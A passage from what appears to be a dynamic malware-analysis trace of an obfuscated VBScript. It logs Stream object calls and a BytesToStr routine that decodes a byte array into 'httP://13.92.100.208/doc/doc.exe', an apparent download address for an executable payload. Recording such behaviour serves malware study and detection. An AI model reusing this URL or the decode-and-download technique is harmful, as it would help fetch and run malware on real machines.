(This=0x1197760) returned 0x8 [0073.130] malloc (_Size=0x404) returned 0x8790218 [0073.131] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.131] malloc (_Size=0x804) returned 0x1185d00 [0073.131] ??2@YAPAXI@Z () returned 0x844b458 [0073.131] ??3@YAXPAX@Z () returned 0x1 [0073.131] malloc (_Size=0x204) returned 0x8790628 [0073.131] ??2@YAPAXI@Z () returned 0x11291c0 [0073.131] free (_Block=0x83d08e0) [0073.131] free (_Block=0x1185d00) [0073.131] ??3@YAXPAX@Z () returned 0xffff0001 [0073.131] free (_Block=0x1197880) [0073.131] free (_Block=0x8790628) [0073.132] free (_Block=0x8444648) [0073.132] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.132] ??2@YAPAXI@Z () returned 0x83fd610 [0073.132] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.132] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.132] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0073.132] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.132] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="write", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=13) returned 0x0 [0073.132] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.132] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.132] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ac8c38*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ac8c38*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.133] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.134] ??3@YAXPAX@Z () returned 0x840001 [0073.134] ??3@YAXPAX@Z () returned 0x4a0001 [0073.134] ??3@YAXPAX@Z () returned 0xffff0001 [0073.134] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.134] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.134] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.134] GetCurrentThreadId () returned 0xd44 [0073.134] IUnknown:Release (This=0x1197760) returned 0x8 [0073.134] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.134] malloc (_Size=0x804) returned 0x1185d00 [0073.134] ??2@YAPAXI@Z () returned 0x844b458 [0073.135] ??3@YAXPAX@Z () returned 0x1 [0073.135] malloc (_Size=0x204) returned 0x8790628 [0073.135] ??2@YAPAXI@Z () returned 0x11291c0 [0073.135] free (_Block=0x83d08e0) [0073.135] free (_Block=0x1185d00) [0073.135] ??3@YAXPAX@Z () returned 0xffff0001 [0073.135] free (_Block=0x1197880) [0073.135] free (_Block=0x8790628) [0073.135] free (_Block=0x83d9bc8) [0073.135] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.135] ??2@YAPAXI@Z () returned 0x83fd610 [0073.135] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.135] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.135] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.136] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Position", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=3) returned 0x0 [0073.136] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.136] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.136] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.136] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.136] ??3@YAXPAX@Z () returned 0x840001 [0073.136] ??3@YAXPAX@Z () returned 0x4a0001 [0073.136] ??3@YAXPAX@Z () returned 0xffff0001 [0073.136] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0073.136] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=4) returned 0x0 [0073.136] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.136] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0073.137] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962bad0) returned 0x0 [0073.137] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.137] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0073.137] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=8) returned 0x0 [0073.137] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.137] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0073.137] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x14bb84*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962bad0) returned 0x0 [0073.137] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.137] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.138] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.138] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.138] GetCurrentThreadId () returned 0xd44 [0073.138] IUnknown:Release (This=0x1197760) returned 0x8 [0073.138] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.138] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.138] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.138] GetCurrentThreadId () returned 0xd44 [0073.139] IUnknown:Release (This=0x1197760) returned 0x8 [0073.139] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.139] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.139] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.139] GetCurrentThreadId () returned 0xd44 [0073.139] IUnknown:Release (This=0x1197760) returned 0x8 [0073.139] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.139] malloc (_Size=0x804) returned 0x1185d00 [0073.139] ??2@YAPAXI@Z () returned 0x844b458 [0073.139] ??3@YAXPAX@Z () returned 0x1 [0073.139] malloc (_Size=0x204) returned 0x8790628 [0073.139] ??2@YAPAXI@Z () returned 0x11291c0 [0073.140] free (_Block=0x83d08e0) [0073.140] free (_Block=0x1185d00) [0073.140] ??3@YAXPAX@Z () returned 0xffff0001 [0073.140] free (_Block=0x1197880) [0073.140] free (_Block=0x8790628) [0073.140] free (_Block=0x83d9bc8) [0073.140] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.140] ??2@YAPAXI@Z () returned 0x83fd610 [0073.140] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.140] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.140] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.140] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=19) returned 0x0 [0073.140] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.140] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.140] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.141] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.141] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0073.141] ??3@YAXPAX@Z () returned 0x840001 [0073.141] ??3@YAXPAX@Z () returned 0x4a0001 [0073.141] ??3@YAXPAX@Z () returned 0xffff0001 [0073.141] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.141] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.141] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.141] GetCurrentThreadId () returned 0xd44 [0073.142] IUnknown:Release (This=0x1197760) returned 0x8 [0073.142] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.142] malloc (_Size=0x804) returned 0x1185d00 [0073.142] ??2@YAPAXI@Z () returned 0x844b458 [0073.142] ??3@YAXPAX@Z () returned 0x1 [0073.142] ??2@YAPAXI@Z () returned 0x11291c0 [0073.142] free (_Block=0x83d08e0) [0073.142] free (_Block=0x1185d00) [0073.142] ??3@YAXPAX@Z () returned 0xffff0001 [0073.142] free (_Block=0x1197880) [0073.142] free (_Block=0x8790628) [0073.142] free (_Block=0x83d9bc8) [0073.142] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.142] ??2@YAPAXI@Z () returned 0x83fd610 [0073.142] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.142] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0073.142] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0073.143] ??3@YAXPAX@Z () returned 0x840001 [0073.143] ??3@YAXPAX@Z () returned 0x4a0001 [0073.143] ??3@YAXPAX@Z () returned 0xffff0001 [0073.143] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.143] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.143] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.143] GetCurrentThreadId () returned 0xd44 [0073.143] IUnknown:Release (This=0x1197760) returned 0x8 [0073.143] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.143] malloc (_Size=0x804) returned 0x1185d00 [0073.143] ??2@YAPAXI@Z () returned 0x844b458 [0073.143] ??3@YAXPAX@Z () returned 0x1 [0073.143] ??2@YAPAXI@Z () returned 0x11291c0 [0073.143] free (_Block=0x83d08e0) [0073.143] free (_Block=0x1185d00) [0073.143] ??3@YAXPAX@Z () returned 0xffff0001 [0073.144] free (_Block=0x1197880) [0073.144] free (_Block=0x8790628) [0073.144] free (_Block=0x83d9ce0) [0073.144] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.144] ??2@YAPAXI@Z () returned 0x83fd610 [0073.144] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.144] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.144] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.144] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Close", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=11) returned 0x0 [0073.144] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.144] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.144] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.144] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.144] ??3@YAXPAX@Z () returned 0x840001 [0073.144] ??3@YAXPAX@Z () returned 0x4a0001 [0073.144] ??3@YAXPAX@Z () returned 0xffff0001 [0073.145] free (_Block=0x1197838) [0073.145] free (_Block=0x8790218) [0073.145] free (_Block=0x8790008) [0073.145] free (_Block=0x83d71e0) [0073.145] ??3@YAXPAX@Z () returned 0xc80001 [0073.145] ??3@YAXPAX@Z () returned 0x320001 [0073.146] free (_Block=0x11977f0) [0073.146] free (_Block=0x8444238) [0073.146] free (_Block=0x8444028) [0073.146] free (_Block=0x11c2398) [0073.146] ??3@YAXPAX@Z () returned 0xb60001 [0073.146] ??3@YAXPAX@Z () returned 0x360001 [0073.146] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0073.146] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="varrya", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0073.146] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="varrya", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0073.146] GetCurrentThreadId () returned 0xd44 [0073.146] IUnknown:Release (This=0x1197760) returned 0x6 [0073.146] ??3@YAXPAX@Z () returned 0x7f0001 [0073.146] ??3@YAXPAX@Z () returned 0x200001 [0073.146] ??3@YAXPAX@Z () returned 0x740001 [0073.147] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.147] malloc (_Size=0x804) returned 0x8790008 [0073.147] ??2@YAPAXI@Z () returned 0x844b458 [0073.147] ??3@YAXPAX@Z () returned 0x1 [0073.147] malloc (_Size=0x204) returned 0x8790818 [0073.147] ??2@YAPAXI@Z () returned 0x1129260 [0073.147] free (_Block=0x83d08e0) [0073.147] free (_Block=0x8790008) [0073.147] ??3@YAXPAX@Z () returned 0x740001 [0073.147] free (_Block=0x11977f0) [0073.147] free (_Block=0x8790818) [0073.147] free (_Block=0x83d9ce0) [0073.147] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.147] ??2@YAPAXI@Z () returned 0x83fd5e8 [0073.147] IUnknown:AddRef (This=0x1197760) returned 0x6 [0073.147] IUnknown:AddRef (This=0x1197760) returned 0x7 [0073.147] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.148] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.148] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.148] GetCurrentThreadId () returned 0xd44 [0073.148] IUnknown:Release (This=0x1197760) returned 0x7 [0073.148] ??2@YAPAXI@Z () returned 0x838c598 [0073.148] ??2@YAPAXI@Z () returned 0x1105c40 [0073.148] malloc (_Size=0x40) returned 0x11977f0 [0073.148] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, 